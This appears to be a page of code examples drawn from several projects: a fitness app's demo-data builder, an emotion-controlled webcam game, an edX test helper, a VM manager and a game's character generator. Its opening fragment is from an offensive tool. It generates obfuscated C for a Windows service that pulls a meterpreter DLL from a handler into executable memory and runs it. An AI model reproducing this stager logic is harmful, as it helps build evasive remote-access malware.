        number_of_strings_2 = random.randint(1,max_num_strings)
        char_array_name_3 = helpers.randomString()
        number_of_strings_3 = random.randint(1,max_num_strings)

        # real - necessary declarations
        code += "ULONG32 %s;" %(size_name)
        code += "char * %s;" %(buffer_name)
        code += "int i;"
        code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1)
        code += "void (*%s)();" %(function_name)

        # obsufcation - malloc our first string obfuscation array
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length))

        code += "%s();" %(winsock_init_name)
        code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2)
        code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name)

        # obsufcation - malloc our second string obfuscation array
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length))

        # real - receive the 4 byte size from the handler
        code += "int %s = recv(%s, (char *)&%s, %s, 0);" % (count_name, my_socket_name, size_name, helpers.obfuscateNum(4,2))
        # real - punt the socket if something goes wrong
        code += "if (%s != %s || %s <= 0) %s(%s);" %(count_name, helpers.obfuscateNum(4,2), size_name, punt_name, my_socket_name)

        # real - virtual alloc space for the meterpreter .dll
        code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name, size_name, helpers.obfuscateNum(5,2))

        # obsufcation - declare space for our 3 string obfuscation array
        code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3)

        # obsufcation - first string obfuscation method
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0])

        # real - check if the buffer received is null, if so punt the socket
        code += "if (%s == NULL) %s(%s);" %(buffer_name, punt_name, my_socket_name)

        # real - prepend some buffer magic to push the socket number onto the stack
        code += "%s[0] = 0xBF;" %(buffer_name)
        # real-  copy the 4 magic bytes into the buffer
        code += "memcpy(%s + 1, &%s, %s);" %(buffer_name, my_socket_name, helpers.obfuscateNum(4,2))

        # obsufcation - malloc our third string obfuscation array
        code += "for (i = 0;  i < %s;  ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length))

        # obsufcation - second string obfuscation method
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0])

        # real - receive all data from the socket
        code += "%s = %s(%s, %s + %s, %s);" %(count_name, recv_all_name, my_socket_name, buffer_name, helpers.obfuscateNum(5,2), size_name)
        code += "%s = (void (*)())%s;" %(function_name, buffer_name)
        code += "%s();" %(function_name)

        # obsufcation - third string obfuscation method (never called)
        code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0])

        code += "} return; }\n"

        # service control handler code
        code += """void ControlHandler(DWORD request)
    {
        switch(request)
        {
            case SERVICE_CONTROL_STOP:
                ServiceStatus.dwWin32ExitCode = 0;
                ServiceStatus.dwCurrentState  = SERVICE_STOPPED;
                SetServiceStatus (%s, &ServiceStatus);
                return;
            case SERVICE_CONTROL_SHUTDOWN:
                ServiceStatus.dwWin32ExitCode = 0;
                ServiceStatus.dwCurrentState  = SERVICE_STOPPED;
                SetServiceStatus (%s, &ServiceStatus);
                return;
            default:
                break;
        }
        SetServiceStatus (%s,  &ServiceStatus);
        return;
    }
    """ %(hStatusName, hStatusName, hStatusName)

        return code

Example 15

Project: wger
Source File: demo.py
View license
def create_demo_entries(user):
    '''
    Creates some demo data for temporary users
    '''

    # (this is a bit ugly and long...)
    language = load_language()

    #
    # Workout and exercises
    #
    setting_list = []
    weight_log = []
    workout = Workout(user=user, comment=_('Sample workout'))
    workout.save()
    monday = DaysOfWeek.objects.get(pk=1)
    wednesday = DaysOfWeek.objects.get(pk=3)
    day = Day(training=workout, description=_('Sample day'))
    day.save()
    day.day.add(monday)

    day2 = Day(training=workout, description=_('Another sample day'))
    day2.save()
    day2.day.add(wednesday)

    # Biceps curls with dumbbell
    if language.short_name == 'de':
        exercise = Exercise.objects.get(pk=26)
    else:
        exercise = Exercise.objects.get(pk=81)
    day_set = Set(exerciseday=day, sets=4, order=2)
    day_set.save()
    day_set.exercises.add(exercise)

    setting = Setting(set=day_set, exercise=exercise, reps=8, order=1)
    setting.save()

    # Weight log entries
    for reps in (8, 10, 12):
        for i in range(1, 8):
            log = WorkoutLog(user=user,
                             exercise=exercise,
                             workout=workout,
                             reps=reps,
                             weight=18 - reps + random.randint(1, 4),
                             date=datetime.date.today() - datetime.timedelta(weeks=i))
            weight_log.append(log)

    # French press
    if language.short_name == 'de':
        exercise = Exercise.objects.get(pk=25)
    else:
        exercise = Exercise.objects.get(pk=84)
    day_set = Set(exerciseday=day, sets=4, order=2)
    day_set.save()
    day_set.exercises.add(exercise)

    setting_list.append(Setting(set=day_set, exercise=exercise, reps=8, order=1))

    # Weight log entries
    for reps in (7, 10):
        for i in range(1, 8):
            log = WorkoutLog(user=user,
                             exercise=exercise,
                             workout=workout,
                             reps=reps,
                             weight=30 - reps + random.randint(1, 4),
                             date=datetime.date.today() - datetime.timedelta(weeks=i))
            weight_log.append(log)

    # Squats
    if language.short_name == 'de':
        exercise = Exercise.objects.get(pk=6)
    else:
        exercise = Exercise.objects.get(pk=111)
    day_set = Set(exerciseday=day, sets=4, order=3)
    day_set.save()
    day_set.exercises.add(exercise)

    setting_list.append(Setting(set=day_set, exercise=exercise, reps=10, order=1))

    # Weight log entries
    for reps in (5, 10, 12):
        for i in range(1, 8):
            log = WorkoutLog(user=user,
                             exercise=exercise,
                             workout=workout,
                             reps=reps,
                             weight=110 - reps + random.randint(1, 10),
                             date=datetime.date.today() - datetime.timedelta(weeks=i))
            weight_log.append(log)

    # Crunches
    if language.short_name == 'de':
        exercise = Exercise.objects.get(pk=4)
    else:
        exercise = Exercise.objects.get(pk=91)
    day_set = Set(exerciseday=day, sets=4, order=4)
    day_set.save()
    day_set.exercises.add(exercise)

    setting_list.append(Setting(set=day_set, exercise=exercise, reps=30, order=1))
    setting_list.append(Setting(set=day_set, exercise=exercise, reps=99, order=2))
    setting_list.append(Setting(set=day_set, exercise=exercise, reps=35, order=3))

    # Leg raises, supersets with crunches
    if language.short_name == 'de':
        exercise = Exercise.objects.get(pk=35)
    else:
        exercise = Exercise.objects.get(pk=126)
    day_set.exercises.add(exercise)

    setting_list.append(Setting(set=day_set, exercise=exercise, reps=30, order=1))
    setting_list.append(Setting(set=day_set, exercise=exercise, reps=40, order=2))
    setting_list.append(Setting(set=day_set, exercise=exercise, reps=99, order=3))

    Setting.objects.bulk_create(setting_list)

    # Save all the log entries
    WorkoutLog.objects.bulk_create(weight_log)

    #
    # (Body) weight entries
    #
    temp = []
    existing_entries = [i.date for i in WeightEntry.objects.filter(user=user)]
    for i in range(1, 20):
        creation_date = datetime.date.today() - datetime.timedelta(days=i)
        if creation_date not in existing_entries:
            entry = WeightEntry(user=user,
                                weight=80 + 0.5 * i + random.randint(1, 3),
                                date=creation_date)
            temp.append(entry)
    WeightEntry.objects.bulk_create(temp)

    #
    # Nutritional plan
    #
    plan = NutritionPlan()
    plan.user = user
    plan.language = language
    plan.description = _('Sample nutrional plan')
    plan.save()

    # Breakfast
    meal = Meal()
    meal.plan = plan
    meal.order = 1
    meal.time = datetime.time(7, 30)
    meal.save()

    # Oatmeal
    if language.short_name == 'de':
        ingredient = Ingredient.objects.get(pk=8197)
    else:
        ingredient = Ingredient.objects.get(pk=2126)

    mealitem = MealItem()
    mealitem.meal = meal
    mealitem.ingredient = ingredient
    mealitem.order = 1
    mealitem.amount = 100
    mealitem.save()

    # Milk
    if language.short_name == 'de':
        ingredient = Ingredient.objects.get(pk=8198)
    else:
        ingredient = Ingredient.objects.get(pk=154)

    mealitem = MealItem()
    mealitem.meal = meal
    mealitem.ingredient = ingredient
    mealitem.order = 2
    mealitem.amount = 100
    mealitem.save()

    # Protein powder
    if language.short_name == 'de':
        ingredient = Ingredient.objects.get(pk=8244)
    else:
        ingredient = Ingredient.objects.get(pk=196)

    mealitem = MealItem()
    mealitem.meal = meal
    mealitem.ingredient = ingredient
    mealitem.order = 3
    mealitem.amount = 30
    mealitem.save()

    #
    # 11 o'clock meal
    meal = Meal()
    meal.plan = plan
    meal.order = 2
    meal.time = datetime.time(11, 0)
    meal.save()

    # Bread, in slices
    if language.short_name == 'de':
        ingredient = Ingredient.objects.get(pk=8225)
        unit = None
        amount = 80
    else:
        ingredient = Ingredient.objects.get(pk=5370)
        unit = IngredientWeightUnit.objects.get(pk=9874)
        amount = 2

    mealitem = MealItem()
    mealitem.meal = meal
    mealitem.ingredient = ingredient
    mealitem.weight_unit = unit
    mealitem.order = 1
    mealitem.amount = amount
    mealitem.save()

    # Turkey
    if language.short_name == 'de':
        ingredient = Ingredient.objects.get(pk=8201)
    else:
        ingredient = Ingredient.objects.get(pk=1643)

    mealitem = MealItem()
    mealitem.meal = meal
    mealitem.order = 2
    mealitem.ingredient = ingredient
    mealitem.amount = 100
    mealitem.save()

    # Cottage cheese
    if language.short_name == 'de':
        ingredient = Ingredient.objects.get(pk=8222)  # TODO: check this!
    else:
        ingredient = Ingredient.objects.get(pk=17)

    mealitem = MealItem()
    mealitem.meal = meal
    mealitem.ingredient = ingredient
    mealitem.order = 3
    mealitem.amount = 50
    mealitem.save()

    # Tomato, one
    if language.short_name == 'de':
        ingredient = Ingredient.objects.get(pk=8217)
        unit = None
        amount = 120
    else:
        ingredient = Ingredient.objects.get(pk=3208)
        unit = IngredientWeightUnit.objects.get(pk=5950)
        amount = 1

    mealitem = MealItem()
    mealitem.meal = meal
    mealitem.weight_unit = unit
    mealitem.ingredient = ingredient
    mealitem.order = 4
    mealitem.amount = amount
    mealitem.save()

    #
    # Lunch (leave empty so users can add their own ingredients)
    meal = Meal()
    meal.plan = plan
    meal.order = 3
    meal.time = datetime.time(13, 0)
    meal.save()

    #
    # Workout schedules
    #

    # create some empty workouts to fill the list
    workout2 = Workout(user=user, comment=_('Placeholder workout nr {0} for schedule').format(1))
    workout2.save()
    workout3 = Workout(user=user, comment=_('Placeholder workout nr {0} for schedule').format(2))
    workout3.save()
    workout4 = Workout(user=user, comment=_('Placeholder workout nr {0} for schedule').format(3))
    workout4.save()

    schedule = Schedule()
    schedule.user = user
    schedule.name = _('My cool workout schedule')
    schedule.start_date = datetime.date.today() - datetime.timedelta(weeks=4)
    schedule.is_active = True
    schedule.is_loop = True
    schedule.save()

    # Add the workouts
    step = ScheduleStep()
    step.schedule = schedule
    step.workout = workout2
    step.duration = 2
    step.order = 1
    step.save()

    step = ScheduleStep()
    step.schedule = schedule
    step.workout = workout
    step.duration = 4
    step.order = 2
    step.save()

    step = ScheduleStep()
    step.schedule = schedule
    step.workout = workout3
    step.duration = 1
    step.order = 3
    step.save()

    step = ScheduleStep()
    step.schedule = schedule
    step.workout = workout4
    step.duration = 6
    step.order = 4
    step.save()

    #
    # Add two more schedules, to make the overview more interesting
    schedule = Schedule()
    schedule.user = user
    schedule.name = _('Empty placeholder schedule')
    schedule.start_date = datetime.date.today() - datetime.timedelta(weeks=15)
    schedule.is_active = False
    schedule.is_loop = False
    schedule.save()

    step = ScheduleStep()
    step.schedule = schedule
    step.workout = workout2
    step.duration = 2
    step.order = 1
    step.save()

    schedule = Schedule()
    schedule.user = user
    schedule.name = _('Empty placeholder schedule')
    schedule.start_date = datetime.date.today() - datetime.timedelta(weeks=30)
    schedule.is_active = False
    schedule.is_loop = False
    schedule.save()

    step = ScheduleStep()
    step.schedule = schedule
    step.workout = workout4
    step.duration = 2
    step.order = 1
    step.save()

Example 16

Project: ConvolutionalEmotion
Source File: zengame.py
View license
def main():
    net = DecafNet()

    video = cv2.VideoCapture(0)
    cascade = cv2.CascadeClassifier('haarcascade_frontalface_alt2.xml')
    
    arrays = Queue.LifoQueue()
    results = Queue.LifoQueue()

    detector = ComputeFeatures(net, [], arrays, results)
    detector.daemon = True
    detector.start()

    pygame.init()

    screen = pygame.display.set_mode((width, height))
    pygame.display.set_caption('This is a video game')
    
    background = pygame.Surface((width,height))
    background.fill(white)
    screen.blit(background,(0,0))
    pygame.display.flip()
    
    allsprites = pygame.sprite.RenderUpdates()

    # Some parameters #
    
    size = 10
    enemy_surface = pygame.Surface((size,size))
    speed = 200.0
    playersize = 44

    # # # # # # # # # #

    player = Unit([256.0, 256.0], pygame.Surface((playersize,playersize)))
    allsprites.add(player)
    
    enemy_counter = 1.0
    clock = pygame.time.Clock()
    elapsed = 0.0
    accumulator = 0.0

    run = True
    face = None

    emotion_window = ["neutral","neutral","neutral","neutral","neutral","neutral"]
    #emotion_accumulator = 0.0
    current_emotion = "neutral"
    emotion = "neutral"
    health = 50
    game_time = 0.0

    while run:
        seconds = elapsed/1000.0
        accumulator += seconds
        game_time += seconds
        #emotion_accumulator += seconds

        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                run = False
            elif event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE:
                run = False

            #elif event.type == pygame.KEYDOWN and event.key == pygame.K_w:
            #    current = Unit((random.randint(0,512), random.randint(0,512)))
            #    allsprites.add(current)
            #elif event.type == pygame.KEYDOWN and event.key == pygame.K_s:
            #    for sprite in allsprites:
            #        sprite.position = [sprite.position[0]+random.randint(-5,5),sprite.position[1]+random.randint(-5,5)]

        if accumulator > enemy_counter: 
            allsprites.add(Unit([random.randint(0,512), 0],enemy_surface))
            accumulator = 0.0

        for sprite in allsprites.sprites():
            if sprite.image == enemy_surface:
                sprite.position[1]+=speed*seconds
            if sprite.position[1]>height-10:
                allsprites.remove(sprite)

        pressed = pygame.key.get_pressed()

        if pressed[pygame.K_RIGHT]:
            player.position[0]+=speed*seconds
        if pressed[pygame.K_LEFT]:
            player.position[0]-=speed*seconds
        if pressed[pygame.K_DOWN]:
            player.position[1]+=speed*seconds
        if pressed[pygame.K_UP]:
            player.position[1]-=speed*seconds           

        allsprites.update()

        allsprites.remove(player)
        health -= len(pygame.sprite.spritecollide(player,allsprites, True))
        allsprites.add(player)
        
        allsprites.clear(screen,background)
        changed = allsprites.draw(screen)
        pygame.display.update(changed)
        
        frame = video.read()[1]
        rects = cascade.detectMultiScale(frame, 1.3, 3, cv2.cv.CV_HAAR_SCALE_IMAGE, (150,150))

        #arrays.put(frame)

        # Idea: increase the size of the rectangle
        if len(rects) > 0:
            facerect = rects[0]
            #facerect[0] -= (rectangle_margin-30)
            #facerect[2] += rectangle_margin
            #facerect[1] -= (rectangle_margin-20)
            #facerect[3] += rectangle_margin
            face = frame[facerect[1]:facerect[1]+facerect[3], facerect[0]:facerect[0]+facerect[2]]
            face = cv2.cvtColor(face,cv2.COLOR_BGR2GRAY)
            arrays.put(face)
            if True:
                for (x,y,w,h) in rects:
                    cv2.rectangle(frame,(x,y),(x+w,y+h),(255,0,0),2)
        
        if not results.empty():
            emotion = results.get()
            emotion_window.append(emotion)
            emotion_window.pop(0)
            current_emotion = max(set(emotion_window),key=emotion_window.count)
            print "Current emotion:", current_emotion, "- Last detected:", emotion#, emotion_window
            if current_emotion == "happy":
                enemy_counter += 0.03
                enemy_counter = min(0.7,enemy_counter)
            else:
                enemy_counter += -0.02
                enemy_counter = max(0.01,enemy_counter)
            print "Health:", health, "- Time:", game_time

        if health < 1:
            run = False
            print "Game over! Score:", game_time

        if face != None:
            cv2.imshow("face",face)
        cv2.imshow("frame",frame)
        c = cv2.waitKey(1)
        if c == 27:
            cv2.destroyWindow("frame")
            cv2.destroyWindow("face")
            break

        elapsed = clock.tick(framerate)

    video.release()
    cv2.destroyAllWindows()

    pygame.quit()

Example 17

Project: edx-platform
Source File: problems_setup.py
View license
def answer_problem(course, problem_type, correctness):
    # Make sure that the problem has been completely rendered before
    # starting to input an answer.
    world.wait_for_ajax_complete()

    section_loc = section_location(course)

    if problem_type == "drop down":
        select_name = "input_{}_2_1".format(
            section_loc.course_key.make_usage_key('problem', 'drop_down').html_id()
        )
        option_text = 'Option 2' if correctness == 'correct' else 'Option 3'
        world.select_option(select_name, option_text)

    elif problem_type == "multiple choice":
        if correctness == 'correct':
            world.css_check(inputfield(course, 'multiple choice', choice='choice_2'))
        else:
            world.css_check(inputfield(course, 'multiple choice', choice='choice_1'))

    elif problem_type == "checkbox":
        if correctness == 'correct':
            world.css_check(inputfield(course, 'checkbox', choice='choice_0'))
            world.css_check(inputfield(course, 'checkbox', choice='choice_2'))
        else:
            world.css_check(inputfield(course, 'checkbox', choice='choice_3'))

    elif problem_type == 'radio':
        if correctness == 'correct':
            world.css_check(inputfield(course, 'radio', choice='choice_2'))
        else:
            world.css_check(inputfield(course, 'radio', choice='choice_1'))

    elif problem_type == 'string':
        textvalue = 'correct string' if correctness == 'correct' else 'incorrect'
        world.css_fill(inputfield(course, 'string'), textvalue)

    elif problem_type == 'numerical':
        textvalue = "pi + 1" if correctness == 'correct' else str(random.randint(-2, 2))
        world.css_fill(inputfield(course, 'numerical'), textvalue)

    elif problem_type == 'formula':
        textvalue = "x^2+2*x+y" if correctness == 'correct' else 'x^2'
        world.css_fill(inputfield(course, 'formula'), textvalue)

    elif problem_type == 'script':
        # Correct answer is any two integers that sum to 10
        first_addend = random.randint(-100, 100)
        second_addend = 10 - first_addend

        # If we want an incorrect answer, then change
        # the second addend so they no longer sum to 10
        if correctness == 'incorrect':
            second_addend += random.randint(1, 10)

        world.css_fill(inputfield(course, 'script', input_num=1), str(first_addend))
        world.css_fill(inputfield(course, 'script', input_num=2), str(second_addend))

    elif problem_type == 'code':
        # The fake xqueue server is configured to respond
        # correct / incorrect no matter what we submit.
        # Furthermore, since the inline code response uses
        # JavaScript to make the code display nicely, it's difficult
        # to programatically input text
        # (there's not <textarea> we can just fill text into)
        # For this reason, we submit the initial code in the response
        # (configured in the problem XML above)
        pass

    elif problem_type == 'radio_text' or problem_type == 'checkbox_text':

        input_value = "8" if correctness == 'correct' else "5"
        choice = "choiceinput_0bc" if correctness == 'correct' else "choiceinput_1bc"
        world.css_fill(
            inputfield(
                course,
                problem_type,
                choice="choiceinput_0_numtolerance_input_0"
            ),
            input_value
        )
        world.css_check(inputfield(course, problem_type, choice=choice))
    elif problem_type == 'image':
        offset = 25 if correctness == "correct" else -25

        def try_click():
            problem_html_loc = section_loc.course_key.make_usage_key('problem', 'image').html_id()
            image_selector = "#imageinput_{}_2_1".format(problem_html_loc)
            input_selector = "#input_{}_2_1".format(problem_html_loc)

            world.browser.execute_script('$("body").on("click", function(event) {console.log(event);})')

            initial_input = world.css_value(input_selector)
            world.wait_for_visible(image_selector)
            image = world.css_find(image_selector).first
            (image.action_chains
                .move_to_element(image._element)
                .move_by_offset(offset, offset)
                .click()
                .perform())

            world.wait_for(lambda _: world.css_value(input_selector) != initial_input)

        world.retry_on_exception(try_click)

Example 18

Project: vocker
Source File: vocker.py
View license
def run():
    def do_build(args):
        log.info("Building")

        p = OpParser()
        with open(args.file) as vockerfile:
            ops = p.parse(vockerfile.read())

        log.debug(ops)

        ctx = Context()
        ctx.do_rebuild = args.force_rm
        log.debug(ctx.run(ops))

        if args.tag:
            log.info("Tagging as %s" % args.tag)
            print(ctx.tag(args.tag))

    def do_run(args):
        log.info("Instanciating %s as %s" % (args.IMAGE, args.name))

        diskname = args.IMAGE + "-" + args.name
        image = Layer()
        image.name = args.IMAGE
        disk = image.derive(diskname)
        disk.create()
        if args.net != "user":
            args.net = "network=%s" % args.net

        # FIXME set the hostname inside the VM
        if args.hack_hostname:
            fish(disk.filename, "write", "/etc/hostname", args.name)

        xml = virt_install("--name", args.name,
                     "--memory", args.memory,
                     "--vcpus", "4",
                     "--metadata", "description=vocker/%s" % args.name,
                     "--import",
                     "--disk", disk.filename,
                     "--network", args.net,
                     "--graphics", "spice",
                     "--memballoon", "model=virtio",
                     "--rng", "/dev/random",
                     "--noautoconsole",
                     "--print-xml")

        # Decode it right away
        xml = str(xml).encode("UTF-8")

        if args.publish:
            hostport, innerport = args.publish.split(":")

            def random_mac():
                """Generate a random mac
                """
                mac = [0x00, 0x16, 0x3e,
                       random.randint(0x00, 0x7f),
                       random.randint(0x00, 0xff),
                       random.randint(0x00, 0xff)]
                return ':'.join(map(lambda x: "%02x" % x, mac))

            domroot = ET.fromstring(xml)

            # Needed to make guest ssh port accessible from the outside
            # http://blog.vmsplice.net/2011/04/
            # how-to-pass-qemu-command-line-options.html
            ET.register_namespace("qemu", "http://libvirt.org/"
                                  "schemas/domain/qemu/1.0")
            snippet = ET.fromstring("""
            <qemu:commandline
             xmlns:qemu="http://libvirt.org/schemas/domain/qemu/1.0">
            <qemu:arg value='-redir'/>
            <qemu:arg value='tcp:{hostport}::{innerport}'/>
            <qemu:arg value='-netdev'/>
            <qemu:arg value='socket,id=busnet0,mcast=230.0.0.1:1234'/>
            <qemu:arg value='-device'/>
            <qemu:arg value='virtio-net-pci,netdev=busnet0,mac={mac}'/>
            </qemu:commandline>
            """.format(hostport=hostport, innerport=innerport,
                       mac=random_mac()))
            domroot.append(snippet)

            xml = ET.tostring(domroot)

        with tempfile.NamedTemporaryFile("wb") as spec:
            spec.write(xml)
            spec.flush()
            sh.virsh("define", spec.name)
            sh.virsh("start", args.name)

        print(args.name)

        if args.i:
            _attach(args.name)

        if args.rm:
            _rm(args.name)

    def do_attach(args):
        _attach(args.NAME)

    def _attach(name):
        child_pid = os.fork()
        if child_pid == 0:
            os.execv("/usr/bin/virsh", ["/usr/bin/virsh", "console", name])
        os.waitpid(child_pid, 0)

    def do_rm(args):
        _rm(args.NAME)

    def _rm(name):
        log.info("Removing %s" % name)
        try:
            sh.virsh("destroy", name)
        except:
            pass
        sh.virsh("undefine", name)

    def do_add_network(args):
        log.info("Adding network %s" % args.NAME)
        print(args.subnet.netmask)
        netmask = args.subnet.netmask
        network_ip = args.subnet.network_address
        broadcast_ip = args.subnet.broadcast_address

        def_string = """
      <network>
        <name>%s</name>
        <bridge name="vocker-%s" />
        <ip address="%s" netmask="%s">
          <dhcp>
            <range start="%s" end="%s" />
          </dhcp>
        </ip>
      </network>
                    """ % (args.NAME,
                           args.NAME,
                           network_ip + 1,
                           netmask,
                           network_ip + 2,
                           broadcast_ip - 1)
        with tempfile.NamedTemporaryFile(delete=True) as net_def:
            net_def.write(def_string.encode())
            net_def.flush()
            print(sh.virsh("net-create", net_def.name))

    def do_rm_network(args):
        log.info("Removing network %s" % args.NAME)
        print(sh.virsh("net-destroy", args.NAME))

    def do_list_networks(args):
        print(sh.virsh("net-list"))

    try:
        os.makedirs(IMAGES_DIR)
    except OSError as e:
        if e.errno != errno.EEXIST:
            log.error(e)
            exit(1)
    log.debug("Using images dir: %s" % IMAGES_DIR)

    argparser = argparse.ArgumentParser(description='Vocker!')

    argparser.add_argument("--debug", action="store_true")

    subparsers = argparser.add_subparsers()
    build = subparsers.add_parser("build",
                                  help="Build an image")
    build.add_argument("SOURCE", nargs="?",
                       type=argparse.FileType('r'),
                       default=sys.stdin)
    build.add_argument("--tag", "-t", nargs="?",
                       help="Give the image a name")
    build.add_argument("--force-rm", action="store_true")
    build.add_argument("--file", "-f", default="Dockerfile")
    build.set_defaults(func=do_build)

    run = subparsers.add_parser("run",
                                help="Create a VM from an image")
    run.add_argument("--name", default=namegen())
    run.add_argument("--rm", action="store_true")
    run.add_argument("-i", action="store_true")
    run.add_argument("--net", default="user")
    run.add_argument("--publish", "-p", help="Publish a port (hostport:innerport)")
    run.add_argument("-t", action="store_true")
    run.add_argument("--hack-hostname", action="store_true",
                     help="Hack: Slowing down run, but sets hostname")
    run.add_argument("--memory", "-m", default="1024",
                     help="Amount of memory to allow")
    run.add_argument("IMAGE")
    run.set_defaults(func=do_run)

    attach = subparsers.add_parser("attach",
                                help="Attach to a VM")
    attach.add_argument("NAME")
    attach.set_defaults(func=do_attach)

    rm = subparsers.add_parser("rm",
                               help="Destroy a VM")
    rm.add_argument("NAME")
    rm.set_defaults(func=do_rm)

    network = subparsers.add_parser("network",
                                    help="Manage networks")

    network_subparsers = network.add_subparsers()
    add_network = network_subparsers.add_parser("add",
                                                help="Add a network")
    add_network.add_argument("NAME")
    add_network.add_argument("--subnet", default=subnetgen(), type=ipaddress.IPv4Network)
    add_network.set_defaults(func=do_add_network)
    rm_network = network_subparsers.add_parser("rm",
                                               help="Destroy a network")
    rm_network.add_argument("NAME")
    rm_network.set_defaults(func=do_rm_network)

    ls_network = network_subparsers.add_parser("ls",
                                               help="Show networks")
    ls_network.set_defaults(func=do_list_networks)

    args = argparser.parse_args()

    if args.debug:
        log.setLevel(logging.DEBUG)

    if "func" in args:
        args.func(args)

Example 19

Project: Reactor-3
Source File: historygen.py
View license
def create_background(life):
	HISTORY = []
	
	#This will decide who the person is and what their deal is...
	#i.e., we already roll their stats, but this is building up some
	#credibility behind all that (via implanting memories.)
	#All memories created here will have times in the negatives, with 0
	#being the moment they enter the map.
	#This will at least give me some control over how the initial world
	#develops because atm it's completely random.
	#Onwards... initial behaviors gen
	
	#Just going to start listing things that I believe play a role in
	#someone's development. Don't take these too seriously...
	
	#BOOL (HAS BIRTH PARENTS)
	HAS_BIRTH_PARENTS = (random.randint(0, 1) == 1)
	
	#BOOL (WAS ADOPTED)
	WAS_ADOPTED = ((random.randint(0, 1) * (not HAS_BIRTH_PARENTS)) == 1)
	
	#1 - 6 (ABSENT - STRICT)
	PARENTING_QUALITY = numbers.roll(2, 3) * (HAS_BIRTH_PARENTS or WAS_ADOPTED)
	
	#BOOL (WAS BULLIED)
	BULLIED = (random.randint(0, 1) == 1)
	
	#BOOL (FOUGHT BACK)
	FOUGHT_BACK = (random.randint(0, 1) == 1)
	
	#1 - 10 (DROP OUT < 5, GRADUATED)
	GRADUATED = (numbers.roll(HAS_BIRTH_PARENTS+WAS_ADOPTED, 5)>=5)
	
	#BOOL (STREET SMART)
	STREET_SMART = ((random.randint(0, 1) * (not GRADUATED)) == 1)
	
	MAX_BOOK_SMART = 1 + (not STREET_SMART)
	MAX_STREET_SMARTS = 1 + STREET_SMART
	
	#1 - 10 (NUMBERS??? - MATHEMATICIAN)
	MATHEMATICS = numbers.roll(MAX_BOOK_SMART, 5)
	
	#1 - 10 (CAN'T READ - SPEEDREADER)
	READING = numbers.roll(MAX_BOOK_SMART, 5)
	
	#1 - 10 (CLUELESS - DIY MASTER)
	ENGINEERING = numbers.roll(MAX_BOOK_SMART, 5)
	
	#1 - 10 (SCARY GUNS - I LOVE GUNS)
	FIREARMS = numbers.roll(MAX_STREET_SMARTS, 5)
	
	#1 - 10 (SLAPPER - MMA CHAMPION)
	MELEE = numbers.roll(FOUGHT_BACK+STREET_SMART, 5)
	
	#1 - 10 (CLUELESS - WALL STREET)
	TRADING = numbers.roll((MAX_STREET_SMARTS+MAX_BOOK_SMART) - (MATHEMATICS<5), 2)
	
	#BOOL (IS LEADER)
	IS_LEADER = (numbers.roll((2<PARENTING_QUALITY<=4 or FOUGHT_BACK)+(GRADUATED or STREET_SMART), 4)>=4)
	
	#BOOL (SELF ABSORBED)
	SELF_ABSORBED = (numbers.roll((PARENTING_QUALITY>=5)+(MAX_BOOK_SMART==1), 5)>=7)
	
	#BOOL (LONE WOLF)
	LONE_WOLF = ((numbers.roll(SELF_ABSORBED+STREET_SMART, 5) * (not IS_LEADER))>=5)
	
	#1 - 10 (ADHD - PATIENCE OF A SAINT)
	PATIENCE = numbers.roll((GRADUATED or STREET_SMART)+(READING>=5 or PARENTING_QUALITY>=3), 5)

	#0 - 3 (PERSONALITY TOTALS)
	INTROVERSION = LONE_WOLF+(not HAS_BIRTH_PARENTS and not WAS_ADOPTED)+(not STREET_SMART)+(BULLIED and not FOUGHT_BACK)
	EXTROVERSION = 3-INTROVERSION
	
	#1 - 10 (INNOCENT - GANG LEADER)
	MOTIVE_FOR_CRIME = numbers.roll((READING<7)+(FIREARMS>6 or MELEE>5)+(TRADING>5 or SELF_ABSORBED)+(not LONE_WOLF)+(BULLIED or IS_LEADER), 2)
	
	#1 - 9 (BARRY - DAVE)
	MOTIVE_FOR_WEALTH = numbers.roll((TRADING>4)+(MATHEMATICS>4)+(PATIENCE>5 or IS_LEADER), 3)
	
	#1 - 9 (BARRY - DAVE)
	MOTIVE_FOR_SURVIVAL = numbers.roll((FIREARMS>5 or MOTIVE_FOR_WEALTH<5)+(MELEE>5 or PATIENCE>5)+(ENGINEERING>5 or IS_LEADER), 3)
	
	#1 - 10 (ANTISOCIAL FREAK - "A REAL RAGER")
	SOCIABILITY = numbers.roll((not SELF_ABSORBED) + (not LONE_WOLF)+(EXTROVERSION>0)+(IS_LEADER*2), 2)
	
	#1 - 10 (TALKS TO STRANGERS - FORT KNOX)
	TRUSTINESS = numbers.roll((LONE_WOLF)+(TRADING>4)+(MOTIVE_FOR_WEALTH>4)+(not SELF_ABSORBED)+(EXTROVERSION>1), 2)
	
	#STRING (INTENTION)
	# FORTUNE
	# GREED
	# 
	#INTENTION = 
	
	#print 'Birth parents:', HAS_BIRTH_PARENTS
	#print 'Adopted:', WAS_ADOPTED
	#print 'Parenting quality:', PARENTING_QUALITY
	#print 'Bullied:', BULLIED
	#print 'Fought back:', FOUGHT_BACK
	#print 'Graduated:', GRADUATED
	#print 'Street smart:', STREET_SMART
	#print 'Math:', MATHEMATICS
	#print 'Reading:', READING
	#print 'Engineering:', ENGINEERING
	#print 'Firearms:', FIREARMS
	#print 'Melee:', MELEE
	#print 'Trading:', TRADING
	#print 'Leader:', IS_LEADER
	#print 'Self-absorbed:', SELF_ABSORBED
	#print 'Lone wolf:', LONE_WOLF
	#print 'Patience:', PATIENCE
	#print 'Introversion:', INTROVERSION
	#print 'Extroversion:', EXTROVERSION
